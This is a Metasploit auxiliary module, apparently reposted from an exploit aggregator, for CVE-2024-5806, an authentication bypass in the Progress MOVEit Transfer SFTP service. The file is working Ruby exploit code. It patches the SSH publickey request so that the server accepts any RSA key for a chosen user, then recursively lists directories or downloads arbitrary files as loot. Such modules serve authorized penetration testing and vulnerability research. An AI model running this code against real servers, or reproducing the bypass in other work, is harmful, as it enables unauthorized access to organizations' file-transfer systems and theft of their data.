Share
## https://sploitus.com/exploit?id=PACKETSTORM:180703
##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
require 'net/ssh/transport/session'  
require 'net/sftp'  
require 'openssl'  
  
class MetasploitModule < Msf::Auxiliary  
  
include Msf::Auxiliary::Report  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'Progress MOVEit SFTP Authentication Bypass for Arbitrary File Read',  
'Description' => %q{  
This module exploits CVE-2024-5806, an authentication bypass vulnerability in the MOVEit Transfer SFTP service. The  
following version are affected:  
  
* MOVEit Transfer 2023.0.x (Fixed in 2023.0.11)  
* MOVEit Transfer 2023.1.x (Fixed in 2023.1.6)  
* MOVEit Transfer 2024.0.x (Fixed in 2024.0.2)  
  
The module can establish an authenticated SFTP session for a MOVEit Transfer user. The module allows for both listing  
the contents of a directory, and the reading of an arbitrary file.  
},  
'License' => MSF_LICENSE,  
'Author' => [  
'sfewer-r7' # MSF Module & Rapid7 Analysis  
],  
'References' => [  
['CVE', '2024-5806'],  
['URL', 'https://attackerkb.com/topics/44EZLG2xgL/cve-2024-5806/rapid7-analysis'] # AttackerKB Rapid7 Analysis.  
],  
'DisclosureDate' => '2024-06-25',  
'Notes' => {  
'Stability' => [CRASH_SAFE],  
'SideEffects' => [IOC_IN_LOGS],  
'Reliability' => []  
}  
)  
)  
  
register_options(  
[  
Opt::RHOST,  
Opt::RPORT(22),  
OptBool.new('STORE_LOOT', [false, 'Store the target file as loot', true]),  
OptString.new('TARGETUSER', [true, 'A valid username to authenticate as.', nil]),  
OptString.new('TARGETFILE', [true, 'The full path of a target file or directory to read.', '/']),  
Opt::Proxies  
]  
)  
end  
  
# This method will be used by net/ssh when creating a new TCP socket. We need this so the net/ssh library will  
# honor Metasploit's network pivots, and route a connection through the expected session if applicable.  
def open(host, port, _connection_options = nil)  
vprint_status("Creating Rex::Socket::Tcp to #{host}:#{port}...")  
Rex::Socket::Tcp.create(  
'PeerHost' => host,  
'PeerPort' => port,  
'Proxies' => datastore['Proxies'],  
'Context' => {  
'Msf' => framework,  
'MsfExploit' => self  
}  
)  
end  
  
def check  
# Our check method will establish an unauthenticated connection to the remote SFTP (which is an extension of SSH)  
# service and we pull out the servers version string.  
transport = ::Net::SSH::Transport::Session.new(  
datastore['RHOST'],  
{  
port: datastore['RPORT'],  
# Use self as a proxy for the net/ssh library, to allow us to use Metasploit's Rex sockets, which will honor pivots.  
proxy: self  
}  
)  
  
ident = transport.server_version.version  
  
# We test the SSH version string for a known value of MOVEit SFTP.  
return Msf::Exploit::CheckCode::Safe(ident) unless ident == 'SSH-2.0-MOVEit Transfer SFTP'  
  
# We cannot get a product version number, so the best we can do is return Detected.  
Msf::Exploit::CheckCode::Detected(ident)  
rescue ::Rex::ConnectionRefused  
Msf::Exploit::CheckCode::Unknown('Connection Refused')  
rescue ::Rex::HostUnreachable  
Msf::Exploit::CheckCode::Unknown('Host Unreachable')  
rescue ::Rex::ConnectionTimeout, ::Net::SSH::ConnectionTimeout  
Msf::Exploit::CheckCode::Unknown('Connection Timeout')  
end  
  
def run  
# We want to change the behaviour of the build_request method. So first we alias the original build_request  
# method, so we can restore it later, as other things in MSF may use Net::SSH, and will expect normal behaviour.  
::Net::SSH::Authentication::Methods::Publickey.send(:alias_method, :orig_build_request, :build_request)  
  
# Define the new behaviour. We exploit CVE-2024-5806 by supplying an invalid username (like an empty string) upon  
# the initial publickey auth request, then when sending the signature response to the server, we provide the username  
# of the valid user account we want to authenticate as.  
::Net::SSH::Authentication::Methods::Publickey.send(:define_method, :build_request) do |pub_key, username, next_service, alg, has_sig|  
orig_build_request(pub_key, has_sig ? username : '', next_service, alg, has_sig)  
end  
  
print_status("Authenticating as: #{datastore['TARGETUSER']}@#{datastore['RHOST']}:#{datastore['RPORT']}")  
  
# With ::Net::SSH::Authentication::Methods::Publickey monkey patched above, we can trigger the auth bypass and get  
# back a valid SFTP session which we can interact with.  
::Net::SFTP.start(  
datastore['RHOST'],  
datastore['TARGETUSER'],  
{  
port: datastore['RPORT'],  
auth_methods: ['publickey'],  
# The vulnerability allows us to supply any well formed RSA key and it will be accepted. So we generate a new  
# key (in PEM format) every time we exploit the vulnerability.  
key_data: [OpenSSL::PKey::RSA.new(2048).to_pem],  
# Use self as a proxy for the net/ssh library, to allow us to use Metasploit's Rex sockets, which will honor pivots.  
proxy: self  
}  
) do |sftp|  
if File.directory? datastore['TARGETFILE']  
print_status("Listing directory: #{datastore['TARGETFILE']}")  
  
sftp.dir.glob(datastore['TARGETFILE'], '**/*') do |entry|  
# When we print the entry, we want to print the full path for each entry, so that further use of this module  
# can set the TARGETFILE correctly to the full path of a target file. The longname will contain (along with  
# permission, sizes and timestamps) a file/dir name but no path information. As we are using glob to  
# recursively list the contents of all sub folders, we reconstitute the full path for every entry before  
# printing it.  
entry_full_path = File.join(datastore['TARGETFILE'], entry.name)  
  
print_line(entry.longname.gsub(File.basename(entry.name), entry_full_path))  
end  
else  
print_status("Downloading file: #{datastore['TARGETFILE']}")  
  
read_file(sftp, datastore['TARGETFILE'])  
end  
end  
rescue ::Net::SFTP::StatusException  
print_error('SFTP Status Exception.')  
rescue ::Net::SSH::AuthenticationFailed  
print_error('SFTP Authentication Failed. Is TARGETUSER a valid username?')  
rescue ::Rex::ConnectionRefused  
print_error('SFTP Connection Refused.')  
rescue ::Rex::HostUnreachable  
print_error('SFTP Host Unreachable.')  
rescue ::Rex::ConnectionTimeout, ::Net::SSH::ConnectionTimeout  
print_error('SFTP Connection Timeout.')  
ensure  
::Net::SSH::Authentication::Methods::Publickey.send(:alias_method, :build_request, :orig_build_request)  
end  
  
def read_file(sftp, file_path)  
sftp.open!(file_path) do |open_response|  
unless open_response.ok?  
print_error('SFTP open failed. Is the TARGETFILE path correct?')  
break  
end  
  
file_size = sftp.fstat!(open_response[:handle]).size  
  
sftp.read!(open_response[:handle], 0, file_size) do |read_response|  
unless read_response.ok?  
print_error('SFTP read failed.')  
break  
end  
  
file_data = read_response[:data].to_s  
  
if datastore['STORE_LOOT']  
print_status('Storing the file data to loot...')  
  
store_loot(  
file_path,  
file_data.ascii_only? ? 'text/plain' : 'application/octet-stream',  
datastore['RHOST'],  
file_data,  
datastore['TARGETFILE'],  
'File read from Progress MOVEit SFTP server'  
)  
else  
print_line(file_data)  
end  
end  
ensure  
sftp.close!(open_response[:handle]) if open_response.ok?  
end  
end  
  
end